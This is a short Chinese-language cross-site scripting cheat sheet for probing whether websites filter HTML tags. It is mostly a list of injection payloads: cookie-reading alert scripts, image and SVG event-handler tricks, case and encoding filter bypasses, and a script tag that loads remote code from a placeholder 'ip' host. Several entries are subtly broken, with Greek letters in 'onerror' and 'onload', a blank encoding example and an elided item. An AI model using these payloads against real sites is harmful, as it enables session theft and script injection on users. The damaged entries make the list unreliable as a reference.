在测试网站是否存在XSS漏洞时，应该输入一些标签如<,>输入后查看网页源代码是否过滤标签，如果没过滤，很大可能存在XSS漏洞。
<h5>1</h5>
?<span>1</span>
<SCRIPT>alert(document.cookie)</SCRIPT>
<img src=1 οnerrοr=alert(document.cookie)>
闭合
"><span>x</span><"
'>"<span>x</span><'
其他测试语句
<script>alert('hello，gaga!');</script> //经典语句，哈哈！

输入检测确定标签没有过滤后，为了显示存在漏洞，需要插入xss攻击代码。
常用的语句
<script>alert(1)</script>
<svg οnlοad=alert(1)>
<a href=javascript:alert(1)>
<a href='javascript:alert(1)'>aa</a>
(1)普通的xss JavaScript注入
<SCRIPT SRC=http://ip/XSS/xss.js></SCRIPT>
(2)IMG标签Xss使用JavaScript命令
<IMG SRC=http://ip/XSS/xss.js>
(3)img标签无分号无引号
<IMG SRC=javascript:alert('XSS')>
(4)IMG标签大小写不敏感
<IMG SRC=JaVaScRiPt:alert('XSS')>
(5)HTML编码（必须有分号）
<IMG SRC=javascript:alert("XSS")>
(6)修正缺陷IMG标签
<IMG """><SCRIPT>alert("XSS")</SCRIPT">
(7)formCharCode标签（计算器）
<IMG SRC=JavaScript:alert(String.fromCharCode(88,83,83))>
(8)UTF-8的Unicode编码（计算器）
<IMG SRC=jav..省略..S'>
(9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器)
